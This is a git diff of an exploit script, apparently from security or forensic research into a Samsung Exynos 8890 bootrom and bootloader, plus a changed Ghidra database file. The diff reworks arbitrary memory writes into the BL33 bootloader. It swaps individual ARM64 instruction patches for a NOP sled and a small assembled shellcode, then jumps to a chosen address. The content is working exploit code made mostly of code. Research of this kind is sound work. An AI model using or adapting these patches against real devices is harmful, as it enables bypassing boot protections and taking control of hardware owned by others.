diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py
index c10a02f..cd0f749 100644
--- a/source/exploit/exploit.py
+++ b/source/exploit/exploit.py
@@ -806,61 +806,21 @@ class ExynosDevice():
         print(self.cd.memdump_region(0x8f063710, 0x8))
 
         # Modify USB Recovyer mode string to: NFI Patched BL33
-        self.cd.memwrite_region(0x8f06ab10, b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33')
+        patch_string = b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33'
+        # self.cd.memwrite_region(0x8f06ab10, b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33')
 
         # Print state of x30/LR on screen
         # self.cd.memwrite_region(0x8f01dc08, struct.pack('>I', 0xa40000f9))
 
-        # # Nop-able, but executed space
-        self.cd.memwrite_region(0x8f01dca8, struct.pack('>I', 0x804682d2))
-        # self.cd.memwrite_region(0x8f01dca8, struct.pack('>I', 0x1f2003d5))
+        # Write NOP from 0x8f008cb8 to 0x8f008d14
+        self.cd.memwrite_region(0x8f008cb8, b'\x1f\x20\x03\xd5' * 10)
 
-        self.cd.memwrite_region(0x8f01dcb0, struct.pack('>I', 0xe4ff9fd2))
-        # self.cd.memwrite_region(0x8f01dcb0, struct.pack('>I', 0x1f2003d5))
-
-        self.cd.memwrite_region(0x8f01dcb4, struct.pack('>I', 0xe5030091))
-        # self.cd.memwrite_region(0x8f01dcb4, struct.pack('>I', 0x1f2003d5))
-
-        self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0xaaaaaaaa)) #0x24660094
-        # self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5))
-
-        # self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x03028052)) # Set W3
-        self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5))
-
-        # self.cd.memwrite_region(0x8f008ccc, struct.pack('>I', 0xe3ff9fd2)) # Set x3
-        self.cd.memwrite_region(0x8f008ccc, struct.pack('>I', 0x1f2003d5)) # Set x3
-        
-        # self.cd.memwrite_region(0x8f008cc0, struct.pack('>I', 0xe2ff9fd2)) # Set x2
-        self.cd.memwrite_region(0x8f008cc0, struct.pack('>I', 0x1f2003d5)) # Set x2
-
-        # # self.cd.memwrite_region(0x8f008cc4, struct.pack('>I', 0x804682d2)) # Set x0 to 0x0
-        self.cd.memwrite_region(0x8f008cc4, struct.pack('>I', 0x1f2003d5)) # Set x0 to 0x0
-
-        # self.cd.memwrite_region(0x8f008cc8, struct.pack('>I', 0x410280d2)) # Set x1
-        self.cd.memwrite_region(0x8f008cc8, struct.pack('>I', 0x1f2003d5)) # Set x1
-
-        # self.cd.memwrite_region(0x8f008cdc, struct.pack('>I', 0xe4ff9fd2)) # Set x4 to 0xffff
-        self.cd.memwrite_region(0x8f008cdc, struct.pack('>I', 0x1f2003d5)) # Set x4 to 0xffff
-        
-        # self.cd.memwrite_region(0x8f008cd0, struct.pack('>I', 0xe5030091)) # Set x5 to SP
-        self.cd.memwrite_region(0x8f008cd0, struct.pack('>I', 0x1f2003d5)) # Set x5 to SP
-
-        # self.cd.memwrite_region(0x8f008cd4, struct.pack('>I', 0x00013fd6)) # Jump to screen function
-        self.cd.memwrite_region(0x8f008cd4, struct.pack('>I', 0x1f2003d5)) # Jump to screen function
-
-        # self.cd.memwrite_region(0x8f008cd8, struct.pack('>I', 0xc00800b0)) # Set x7 to 0x0
-        self.cd.memwrite_region(0x8f008cd8, struct.pack('>I', 0x1f2003d5)) # Set x7 to 0x0
-
-        ### SCREEN PATCHES
-        # Nop initial l_display screen at 0x8f022654
-        # self.cd.memwrite_region(0x8f022654, struct.pack('>I', 0x1f2003d5))        
-        # self.cd.memwrite_region(0x8f022658, struct.pack('>I', 0x1f2003d5))
-        # self.cd.memwrite_region(0x8f022658, struct.pack('>I', 0xe40300b9)) #Modify offset at pinter that contains the to-be printed text
-        # # Modify jh_format_log to instead jump to l_display_screen
-        # self.cd.memwrite_region(0x8f02265c, struct.pack('>I', 0xbbffff97))
-
-        # For when it works. Write jump
-        # self.cd.memwrite_region(0x8f008cb4, struct.pack('>I', 0x25660094))
+        # Write opcode that writes 'aaaaaaaa' at 0x8f06ab10 +0x8
+        shellcode = f"""
+        mov x21, #0x1
+        """
+        shellcode = ks.asm(shellcode, as_bytes=True)[0]
+        self.cd.memwrite_region(0x8f008cb8, shellcode)
 
         self.cd.restore_stack_and_jump(0x02024e5c)
 
diff --git a/source/ghidra-transfer/8890_bootrom_bl31_bl2_7Sep2024.bin.gzf b/source/ghidra-transfer/8890_bootrom_bl31_bl2_7Sep2024.bin.gzf
index 916b745..220da93 100644
Binary files a/source/ghidra-transfer/8890_bootrom_bl31_bl2_7Sep2024.bin.gzf and b/source/ghidra-transfer/8890_bootrom_bl31_bl2_7Sep2024.bin.gzf differ